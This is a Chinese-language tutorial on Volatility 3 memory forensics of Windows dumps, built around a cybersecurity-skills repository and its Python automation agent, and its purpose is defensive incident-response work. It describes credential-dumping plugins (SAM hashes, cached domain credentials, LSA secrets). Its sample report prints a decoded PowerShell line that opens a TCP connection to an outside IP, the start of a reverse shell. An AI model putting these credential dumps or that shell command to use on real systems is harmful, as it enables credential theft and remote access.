
Volatility 3 内存取证 API 全指南Anthropic-Cybersecurity-Skills 中的 Windows 内存转储分析实战【免费下载链接】Anthropic-Cybersecurity-Skills817 structured cybersecurity skills for AI agents · Mapped to 6 frameworks: MITRE ATTCK, NIST CSF 2.0, MITRE ATLAS, D3FEND, NIST AI RMF MITRE F3 (Fight Fraud) · agentskills.io standard · Works with Claude Code, GitHub Copilot, Codex CLI, Cursor, Gemini CLI 20 platforms · 29 security domains · Apache 2.0项目地址: https://gitcode.com/GitHub_Trending/an/Anthropic-Cybersecurity-Skills本文以开源仓库 Anthropic-Cybersecurity-Skills 中 analyzing-memory-dumps-with-volatility 技能的 API 参考文档 为主体系统讲解 Volatility 3 内存取证的核心命令语法、Windows 平台全系插件进程、注入、网络、内核、凭据、注册表、文件系统、YARA 扫描、时间线生成、内存采集工具与符号表管理并结合仓库内的 agent.py 源码演示如何将这些 API 封装成可自动化的取证分析程序。读完本文你将能够独立完成从获取内存转储到出具内存取证分析报告的完整实战闭环。一、Volatility 3 核心语法Volatility 3 是开源的内存取证框架支持 Windows、Linux 与 macOS 内存镜像分析采用插件化架构。其核心调用语法高度统一——所有分析能力都通过插件暴露命令格式如下vol3 -f memory_dump plugin [options] vol3 -f memory.dmp --help # List all plugins vol3 -f memory.dmp plugin --help # Plugin-specific help其中-f指定内存转储文件路径--help可分别用于列出全部可用插件顶层帮助或查看某个插件的专属参数。这一设计让取证人员在面对未知转储时可以先枚举能力再按需调用具体插件。Volatility 3 与传统 Volatility 2 的关键区别在于无需手动指定 profile。Volatility 2 依赖imageinfo/kdbgscan猜测操作系统 profile而 Volatility 3 通过符号表机制自动识别系统版本。如下所示# Volatility 3: Automatic OS detection vol3 -f memory.dmp windows.info # 列出可用插件 vol3 -f memory.dmp --help # Volatility 2 (legacy) 才需要手动识别 profile vol2 -f memory.dmp imageinfo vol2 -f memory.dmp kdbgscan二、Windows 插件全景按取证目标分类API 参考文档将 Windows 插件按取证目标划分为 7 大类下面完整展开。1. 进程分析Process Analysis插件用途windows.pslist列出活动进程windows.pstree进程树父子关系windows.psscan池标签扫描发现隐藏进程windows.cmdline进程命令行参数windows.envars进程环境变量windows.handles进程句柄表pslist遍历内核的 EPROCESS 双向链表速度快但可被 rootkit 通过断链unlink手段绕过psscan则直接对内存中的池标签Pool Tag做全量扫描能发现被隐藏的进程因此pslist与psscan输出对比是识别 DKOM 隐藏进程的标准手法详见仓库 agent.py 中的find_hidden_processes实现。2. 代码注入检测Code Injection Detection插件用途windows.malfind检测注入代码RWX 内存 PE 头windows.hollowfind检测进程镂空process hollowingwindows.dlllist列出每个进程加载的 DLLwindows.ldrmodules检测未链接的 DLLmalfind的检测原理是定位同时满足以下特征的内存区域SKILL.md 中的 Step 3具有PAGE_EXECUTE_READWRITE内存保护属性内存区域包含 PE 头MZ/PE 签名存在 VADVirtual Address Descriptor虚拟地址描述符异常。ldrmodules则是通过对比 PEB 中的模块列表与内存中的 VAD 映射找出被恶意软件从 PEB 中脱链以逃避检测的 DLL。3. 网络连接Network插件用途windows.netscan列出网络连接与监听windows.netstat网络连接旧版 Windowsnetscan通过扫描内核网络对象如_TCP_ENDPOINT、_UDP_ENDPOINT还原活动与已关闭的连接输出列包括Offset, Protocol, LocalAddr, LocalPort, ForeignAddr, ForeignPort, State, PID, Owner可与进程列表交叉引用定位 C2 通信进程。netstat用于 Windows XP/2003 等旧系统。4. 内核 / RootkitKernel / Rootkit插件用途windows.ssdt系统服务描述符表钩子windows.callbacks内核回调注册windows.driverscan扫描驱动对象windows.modules已加载内核模块windows.idt中断描述符表这组插件专门用于发现内核级 rootkitssdt检查系统服务表是否被挂钩callbacks枚举内核回调恶意驱动常注册回调实现持久化或隐藏driverscan通过池标签扫描发现未链入模块列表的隐藏驱动idt检测中断描述符表是否被篡改。5. 凭据提取Credentials插件用途windows.hashdump转储 SAM 密码哈希windows.cachedump转储缓存的域凭据windows.lsadump转储 LSA 机密这三个插件对应 Windows 凭据存储的三个位置SAM 注册表配置单元中的本地账户哈希、缓存的域登录凭据Cached Credentials、LSA Secrets含服务账户口令、DPAPI 主密钥等。仓库的 dump_credentials 函数将它们组合调用一次性输出三类凭据数据用于评估横向移动风险。6. 注册表Registry插件用途windows.registry.printkey打印注册表键值windows.registry.hivelist列出注册表配置单元windows.registry.certificates提取证书注册表分析对查找持久化机制至关重要例如检查Run键中的启动项vol3 -f memory.dmp windows.registry.printkey \ --key Software\Microsoft\Windows\CurrentVersion\Runhivelist可先枚举内存中的配置单元Hive再对指定键展开查询certificates用于提取证书存储中的证书对象可用于发现被滥用的代码签名证书。7. 文件系统File System插件用途windows.filescan扫描文件对象windows.dumpfiles从内存提取文件windows.memmap转储进程内存filescan通过扫描文件对象池标签定位内存中的文件句柄即使文件已被删除也可被发现dumpfiles按虚拟地址或物理地址把文件内容从内存中捞出来典型用法是先filescan找到可疑文件地址再提取vol3 -f memory.dmp windows.filescan | grep -i payload\|malware\|suspicious vol3 -f memory.dmp windows.dumpfiles --virtaddr 0xFA8001234560memmap则负责导出指定 PID 的完整进程内存空间供后续 strings 提取与静态分析使用。三、YARA 规则扫描Volatility 3 内置yarascan.YaraScan插件可将 YARA 签名直接应用于内存扫描支持三种输入方式# 1. 从规则文件加载扫描整个转储 vol3 -f memory.dmp yarascan.YaraScan --yara-file rules.yar # 2. 指定规则文件 指定进程 vol3 -f memory.dmp yarascan.YaraScan --yara-file rules.yar --pid 2184 # 3. 命令行内联规则无需文件 vol3 -f memory.dmp yarascan.YaraScan --yara-rules rule Test { strings: $s \cmd.exe\ condition: $s }YARA 在内存取证中价值极大既能用已知恶意软件家族规则匹配内存镜像如 Cobalt Strike Beacon 配置特征也能自定义规则寻找密钥材料——例如用 AES S-box 特征常量搜索内存中的 AES 密钥vol3 -f memory.dmp yarascan.YaraScan --yara-rules rule AES_Key { strings: \$sbox { 63 7C 77 7B F2 6B 6F C5 } condition: \$sbox }仓库 agent.py 的scan_with_yara函数将这一能力参数化支持yara_file、yara_rule、pid三个可选参数自动拼装--yara-file/--yara-rules/--pid命令行参数并仅在返回码为 0 时输出扫描结果。四、时间线生成Timelinertimeliner.Timeliner插件将散落在各插件中的时间信息汇总为统一时间线输出 CSV 便于导入 Excel 或 SIEMvol3 -f memory.dmp timeliner.Timeliner --output-file timeline.csv时间线通常涵盖SKILL.md 中的 Step 7进程创建 / 退出时间网络连接建立时间戳注册表键修改时间文件访问时间。将这些时间点按时间序排列即可重建攻击者的完整活动链路例如svchost.exe 创建 → 外联 C2 → PowerShell 被派生 → 注入 explorer.exe → LSASS 凭据被转储为事件响应报告提供关键证据链。五、输出选项CSV / JSON / 内存转储所有插件都支持结构化输出便于自动化处理与报告生成vol3 -f memory.dmp windows.pslist --output csv processes.csv vol3 -f memory.dmp windows.pslist --output json processes.json vol3 -f memory.dmp windows.malfind --dump --pid 2184--output csv/--output json改变输出格式配合 shell 重定向保存为报告素材--dump将命中的内存区域如 malfind 检测到的注入代码、memmap 的进程内存实际导出为文件供离线深度分析。六、内存采集工具Memory Acquisition取证分析的前提是合法、完整地获取内存转储。API 参考文档汇总了四大主流采集工具工具平台命令WinPmemWindowswinpmem_mini_x64.exe memdump.rawDumpItWindowsDumpIt.exe交互式LiMELinuxinsmod lime.ko path/tmp/mem.lime formatlimeAVMLLinuxavml /tmp/memory.limeWinPmemVolatility 官方出品的 Windows 内存采集工具生成原始raw格式转储DumpIt交互式一键转储工具适合现场快速取证LiMELinux Memory Extractor可加载内核模块LKM通过insmod加载并指定输出路径与格式formatlime为 LiME 专用格式Volatility 3 原生支持AVML微软出品的 Linux 内存采集工具一条命令即可生成 LiME 格式转储。仓库中还有与之配套的专门技能 analyzing-memory-forensics-with-lime-and-volatility 深入讲解 LiME 采集与 Linux 内存分析。七、符号表管理SymbolsVolatility 3 依赖符号表将内存中的数据结构偏移量解析为可读字段。符号表按操作系统与版本区分选错符号表会导致插件运行失败或结果错误这是 SKILL.md 明确列出的首要陷阱。# 从 Volatility 官方符号包仓库下载对应系统的符号包 # 将符号文件放入 volatility3/symbols/ 目录符号表包下载后放入 Volatility 3 安装目录的symbols/文件夹插件运行时即可自动匹配。Windows 符号表JSON 格式体积较大建议按需下载目标系统版本Linux 与 macOS 同理。若分析时需要可通过windows.info插件先确认转储对应的系统版本再有针对性地获取符号。八、源码级深化从命令行 API 到自动化取证 Agent仓库为该技能配套了 agent.py将上述 API 参考中的命令封装为可编程的取证流程是理解如何自动化调用 Volatility 3的最佳样本。统一的命令封装层run_vol3agent.py是所有插件调用的地基它接收内存转储路径、插件名与附加参数通过shlex.split安全切分参数后构造vol3 -f dump plugin [extra_args]命令用subprocess.run执行并设置 300 秒超时最后返回 stdout、stderr 与返回码三元组cmd [vol3, -f, memory_dump, plugin] if extra_args: cmd.extend(shlex.split(extra_args)) result subprocess.run(cmd, capture_outputTrue, textTrue, timeout300) return result.stdout.strip(), result.stderr.strip(), result.returncode按 API 参考分类封装的分析函数agent.py 中的每个分析函数都与 API 参考文档的插件一一对应系统识别get_os_infoL19-L27先尝试windows.info再尝试linux.info实现跨平台 OS 自动识别对应 API 参考中自动 OS 检测的核心语法进程枚举list_processesL30-L44解析windows.pslist输出提取 PID/PPID/进程名scan_hidden_processesL47-L61解析windows.psscan输出隐藏进程比对find_hidden_processesL64-L68对 pslist 与 psscan 的 PID 集合做差集出现在 psscan 而未出现在 pslist 中的进程即为 DKOM 隐藏进程这正是 API 参考中Pool Tag Scanning与EPROCESS两个关键概念的工程化落地代码注入检测detect_code_injectionL71-L95调用windows.malfind解析出 PID、进程名、内存地址与保护属性并拼接数据预览网络连接get_network_connectionsL98-L116解析windows.netscan输出为结构化字段协议、本地/远端地址端口、状态、PID、归属进程命令行历史get_command_linesL119-L132调用windows.cmdline凭据提取dump_credentialsL135-L147依次调用windows.hashdump、windows.cachedump、windows.lsadumpYARA 扫描scan_with_yaraL150-L160对应yarascan.YaraScan的三种输入模式。内置的异常检测逻辑check_suspicious_processesL163-L192将 SKILL.md 中的可疑进程指标固化为代码规则维护合法父进程映射svchost.exe → services.exe、csrss.exe → smss.exe、lsass.exe → wininit.exe、smss.exe → System用于发现父进程异常的进程检测多个 lsass.exe 实例正常系统只有一个标记为 CRITICAL内置拼写错误进程名单scvhost.exe、svch0st.exe、lssas.exe、csrs.exe识别仿冒系统进程名的恶意程序标记为 HIGH。主入口L195-L243按OS 识别 → 进程分析 → 隐藏进程检测 → 注入检测 → 网络连接的顺序自动执行完整取证流水线python agent.py memory.dmp九、完整分析工作流七步法结合 SKILL.md 的 Workflow 章节与 API 参考标准取证流程如下步骤目标核心命令Step 1识别转储系统版本vol3 -f memory.dmp windows.infoStep 2枚举进程并比对隐藏进程windows.pslist/windows.pstree/windows.psscanStep 3检测代码注入windows.malfind --dump --pid PID/windows.hollowfind/windows.dlllistStep 4分析网络连接windows.netscanStep 5提取构件与凭据windows.memmap --dump/windows.cmdline/windows.hashdump/windows.registry.printkeyStep 6YARA 规则扫描yarascan.YaraScan --yara-file rules.yar --pid PIDStep 7生成时间线与报告timeliner.Timeliner --output-file timeline.csv CSV/JSON 导出可疑进程速查清单执行 Step 2 时应对照以下指标SKILL.md- svchost.exe 不是由 services.exe 派生父进程错误 - csrss.exe / lsass.exe 的父进程异常 - 出现多个 lsass.exe 实例正常应只有一个 - 拼写错误的进程名scvhost.exe, lssas.exe - cmd.exe 或 powershell.exe 由 WINWORD.EXE 或浏览器派生 - 进程运行路径异常%TEMP%, %APPDATA% - 无父进程的孤儿进程父进程已被终止网络连接研判要点执行 Step 4 时SKILL.md 给出的交叉研判方法vol3 -f memory.dmp windows.netscan | grep ESTABLISHED可疑svchost.exe连接到外部 IP 的非标准端口可疑notepad.exe或calc.exe出现网络连接将连接中的 PID 与进程列表交叉引用确认网络行为归属。十、典型实战场景EDR 告警后的无文件恶意软件检测SKILL.md 给出了一个完整场景EDR 检测到可疑 PowerShell 活动但攻击者已清理磁盘痕迹系统重启前抓取了内存转储。分析路径运行windows.pstree定位进程链谁派生出了 PowerShell运行windows.malfind检测运行进程中的注入代码转储可疑进程内存并提取字符串寻找 C2 URL运行windows.netscan定位被入侵进程的网络连接运行windows.cmdline查看 PowerShell 实际执行的命令用 YARA 规则在转储的进程内存中匹配已知恶意软件家族用hashdump与lsadump提取凭据评估横向移动风险。常见陷阱务必规避为系统版本选错符号表 → 插件失败或结果错误不对比pslist与psscan输出 → 遗漏 rootkit 隐藏进程只关注进程名而忽略被注入的合法进程 → 应优先审查 malfind 结果未提取完整进程内存就下结论 → 进程转储中的字符串可能揭示额外 IOC。十一、关键概念速查表术语定义内存取证Memory Forensics分析易失性内存RAM内容识别运行进程、网络连接和仅存在于内存中的构件进程镂空Process Hollowing以挂起状态创建合法进程、用恶意代码替换其内存后恢复执行的攻击技术Malfind通过识别具有可执行权限且含 PE 头、位于非镜像 VAD 中的内存区域来检测注入代码的插件VAD虚拟地址描述符Windows 内核中跟踪进程内存区域的结构VAD 异常指示注入或镂空EPROCESS表示进程的 Windows 内核结构rootkit 通过断链 EPROCESS 条目向标准工具隐藏进程池标签扫描Pool Tag Scanning扫描内核对象池标签的内存取证技术即使对象已被断链也能发现进程、文件、连接无文件恶意软件Fileless Malware完全在内存中运行、不在磁盘落盘的恶意软件只能通过内存取证发现十二、分析报告输出模板取证分析的终点是结构化的输出报告。仓库 SKILL.md 给出了标准的报告骨架可直接复用MEMORY FORENSICS ANALYSIS REPORT Dump File: memory.dmp Dump Size: 16 GB OS Version: Windows 10 21H2 (Build 19044) Capture Tool: WinPmem 4.0 Capture Time: 2025-09-15 14:35:00 UTC SUSPICIOUS PROCESSES PID PPID Name Path Anomaly 2184 1052 svchost.exe C:\Users\Admin\AppData\Temp\svchost.exe Wrong path 4012 2184 powershell.exe C:\Windows\System32\powershell.exe Child of fake svchost CODE INJECTION DETECTED (malfind) PID 852 (explorer.exe): Address: 0x00400000 Size: 98304 Protection: PAGE_EXECUTE_READWRITE Header: MZ (embedded PE detected) NETWORK CONNECTIONS PID Process Local Foreign State 2184 svchost.exe 10.1.5.42:49152 185.220.101.42:443 ESTABLISHED COMMAND LINE HISTORY PID 4012: powershell.exe -enc JABjAGwAaQBlAG4AdAAgAD0AIABOAGUAdwAtAE8AYgBqAGUAYwB0AA Decoded: $client New-Object System.Net.Sockets.TCPClient(185.220.101.42,443) YARA MATCHES PID 2184: rule CobaltStrike_Beacon { matched at 0x00401200 }报告通常覆盖转储元信息、可疑进程清单、代码注入检测结果、网络连接、提取的凭据、命令行历史、YARA 匹配与时间线完整呈现攻击活动链路。十三、延伸阅读技能主文档analyzing-memory-dumps-with-volatility/SKILL.md本文依据的 API 参考references/api-reference.md自动化取证 Agent 源码scripts/agent.py仓库技能索引含 MITRE ATTCK / NIST CSF 映射index.json相关配套技能Linux 内存采集与分析的 analyzing-memory-forensics-with-lime-and-volatility、检测堆喷射攻击的 analyzing-heap-spray-exploitation、分析 Linux 内核 rootkit 的 analyzing-linux-kernel-rootkits、以及基于 Volatility 3 的 performing-memory-forensics-with-volatility3 与 performing-memory-forensics-with-volatility3-plugins该技能在 SKILL.md 的元数据中声明了 MITRE ATTCK 技术映射T1055 进程注入、T1003 凭据转储、T1059 命令与脚本解释器、T1620 反射代码加载以及 NIST CSF 子类别映射DE.AE-02、RS.AN-03、ID.RA-01、DE.CM-01可作为检测覆盖评估与框架合规参考。【免费下载链接】Anthropic-Cybersecurity-Skills817 structured cybersecurity skills for AI agents · Mapped to 6 frameworks: MITRE ATTCK, NIST CSF 2.0, MITRE ATLAS, D3FEND, NIST AI RMF MITRE F3 (Fight Fraud) · agentskills.io standard · Works with Claude Code, GitHub Copilot, Codex CLI, Cursor, Gemini CLI 20 platforms · 29 security domains · Apache 2.0项目地址: https://gitcode.com/GitHub_Trending/an/Anthropic-Cybersecurity-Skills创作声明:本文部分内容由AI辅助生成(AIGC),仅供参考